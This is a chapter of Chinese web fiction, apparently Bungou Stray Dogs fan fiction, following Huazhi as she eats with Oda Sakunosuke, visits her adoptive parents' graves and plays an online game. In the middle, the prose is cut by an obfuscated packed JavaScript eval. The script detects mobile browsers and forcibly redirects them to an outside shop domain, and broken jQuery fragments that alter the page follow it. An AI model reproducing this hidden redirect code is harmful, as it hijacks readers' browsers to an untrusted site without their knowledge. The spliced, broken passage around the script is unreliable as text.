4. 第 4 章
    老旧的店铺里,木质的桌椅布置很温馨,仿佛只是路过都能闻到浓郁的香甜味道。

    饭点已过,从擦得发亮的玻璃窗看进去,店内只坐了两位客人。

    “所以说哦,太宰先生他真的超级过分的!”

    花知叽叽咕咕地抱怨。

    若换个人可能会吐槽,抱怨上司的时候就不要用敬称了吧。

    但是坐在花知对面的红发男人面无波澜,只时不时点头以示应和。

    “嗷呜”一口塞进一大勺激辣咖喱饭,花知被辣得斯哈斯哈,眼泪汹涌而出。

    她哭起来的样子并不脏,如同枝头承雨的花,卷翘的羽睫上坠着露珠,被水浸透的琥珀色眼珠湿漉漉的,像一汪明净的泉。

    别样的好看。

    红发男人似乎无动于衷,只悄无声息地把冰牛奶放到花知手边。

    花知猛灌一杯牛奶,辣得红肿的嘴唇边长出一圈白色胡子。

    她缓了一会儿,又抓起勺子“嗷呜”一口。

    “呜,真好吃……”她抽抽噎噎的。

    织田作之助默默地给她递了两张纸巾。

    “织酱,你真好!”花知感动极了。

    红发男人平静地接受了这个过于可爱的称呼。

    花知的毛衣外套带有两个超大的兜,她伸手从兜里掏出一把御守,十分豪迈,“全都给你!”

    深蓝色的御守,很简朴,一小部分绣着“斩”,其余的都绣着“佑”,没有多余的花纹,在日光下,深色的绣线流光溢彩。

    花知点点绣着“斩”字样的,有些惆怅:“希望你用不上它。”

    又提溜起“佑”字御守,红红的眼睛一下变得亮闪闪的。

    “这个超适合孩子们!”

    织田作之助也没有多问,钢蓝色的眸子里满是郑重:“谢谢。”

    结账的时候,花知没有跟他抢,拿着老板赞助的冰袋,有一下没一下地敷着眼睛。

    织田作之助在前面带路,他们来到一家小小的花店。

    出来时,花知手里抱着一捧白菊,她要去海边的公墓,去看望禅院夫妇。

    花知不知道他们喜欢什么花,就选择了最不出错的一种。

    店员小姐送走客人,提着壶浇水,眼里闪过一丝疑惑,刚刚这些花,有开得那么明艳吗?

    *

    “我在这里等你。”

    织田作之助安慰地摸了摸花知的发顶,在收回时,花知垫着脚尖又蹭了蹭他的手心。

    她喜欢被年长者宠爱的感觉。

    花知没有体验过的长辈爱,倒是在织田作之助身上感受到了。

    织田作之助不像其他男人那样有侵略感,他是温和的,包容的,没有进攻性的。

    *

    花知蹲在禅院夫妇的墓碑前,放下白菊。

    她从别的世界来,凭空出现在爆炸现场,被压在房屋废墟下。

    那是禅院夫妇的家。

    还没来得及想办法出去,花知就被黑洞洞的一排枪口指着。

    红发男人站出来,平淡地移开枪口,肯定地说,“她是禅院家的女儿。”

    黑衣人们这才半信半疑地把她带到了太宰治的面前,而不是直接关进港.黑地下的审讯室。

    花知后来问过织田作之助,当时为什么说得那么肯定。

    织田作之助:“苍太给我看过你的照片,炫耀自己有个很可爱的女儿。”

    花知:“……”

    她霎时哑然,她若不是当事人,也就信了。

    不管是什么原因吧,总归禅院夫妇给了花知在这个世界活动的身份,没让她沦为黑户。

    虽然为港.黑工作,对正常人来说,也不算好的出路。

    但至少,在花知还不了解这个世界的时候,港.黑为她提供了一个安全的落脚点。

    花知用湿纸巾认真地擦去墓碑上的浮灰。

    碑上并没有刻姓氏,只刻了名字。

    “惠理”、“苍太”。

    ——爱女花知,立。

    他们好像很讨厌自己的姓氏,一直都要求同事直接叫他们的名字,所以港.黑也没有人称呼花知为禅院小姐。

    织田作之助大概以为花知会有很多话要跟他们讲,走得远远的,但又在花知的视线范围内。

    他好像很喜欢读书,现在就坐在树荫下,捧着一本书专注地看。

    现在就走,好像不太好。

    花知想了想,平视墓碑,在心里对他们承诺:“如果你们真的有女儿,我一定会找到她的。”

    一阵风吹过,像是有人无奈地揉了揉花知的头发。

    糊糊的两小团灰光贴了贴花知的额头,随风一并消散。

    之前花知也来过墓地,但并没有看到过小灰团。

    她想看得清楚些,可她今天能量耗得有些多,身体状况不允许再开一次灵。

    若强行开灵,封印怕是不稳了。

    花知只能不甘地放弃这次机会。

    横滨的天气反复无常,刚刚还艳阳高照,忽然就阴云密布,刮起了大风。

    花知回神时,织田作之助已经站在了上风口。

    他无声地等待花知整理好心情,没有催促,像颗稳重的大树,沉默又可靠。

    “走吧,织酱。”

    花知昂起俏生生的脸,对织田作之助笑。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234402|151386||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    织田作之助把花知送到楼下,接了个电话,又匆匆赶去工作。

    不像她,今天休假。

    嘿嘿。

    *

    累了一天。

    花知换上舒适的家居裙,盘腿坐在白色长毛的地毯上。

    黑色发尾微卷,扫在脸上,没引起花知的在意。

    她怀里圈着个软软的抱枕,琥珀色的眼底专注地映着游戏机蓝色的光屏。

    噼里啪啦!

    正是关键的时候,游戏机的按键快被花知摁出火来了。

    “胜利!!”

    屏幕上出现蹦蹦跳跳的小娃娃,转悠着洒五颜六色庆祝的彩带。

    ——“草莓酱,好棒!比上次进步了好多!”

    联机的好友给花知发来夸赞的信息。

    花知笑眯了眼,温润的眸底似乎流动着蜜糖。

    ——“蛋糕酱也好厉害!攻击一个都没有落下!”

    蛋糕酱是花知刚开始接触游戏时,随机加的好友,完整的昵称是草莓蛋糕卷。

    花知注册游戏账号时,看到桌上的草莓蛋糕卷,也取了这个昵称。

    然后,两个“草莓蛋糕卷”躺在好友列表里面面相觑。

    后来一起玩了几把游戏,发现相性不错,很合得来,昵称就一人分一半。

    对方叫花知草莓酱,花知叫对方蛋糕酱。

    接着发展到交换了邮箱,互相安利美景美食,偶尔再一起蛐蛐身边的人和事。

    这是花知第一次拥有无话不说的好友。

    总之,蛋糕酱一定是位超级超级可爱的女高!

    女高这个词也是花知新学的。

    现代网络真好,什么都能学到!

    *

    冰箱里饮料空了。

    平时不觉得有什么,这个夜晚特别想喝气泡水。

    花知往窗外看。

    之前看着是要下雨,但其实没下得来。

    巷口就有便利店,花知决定去采购一波。

    她披上能把自己完全包裹住的大衣,带上太宰治交给她的枪。

    港.黑的传统,引领者会给后辈一件信物。

    太宰治当时顺手就把才开过火的枪给花知了。

    特别敷衍。

    但十分好用。

    横滨夜晚不太平,花知住的这个地段倒还好,但是带上枪,她会更有安全感一些。

    提着塑料袋返家,去的路上没出任何意外。

    回来嘛……

    花知被一只毛发乱蓬蓬的碧眼小黑猫拦住了去路。

    猫猫崽理直气壮地喵喵叫。

    “要吃红豆年糕汤!”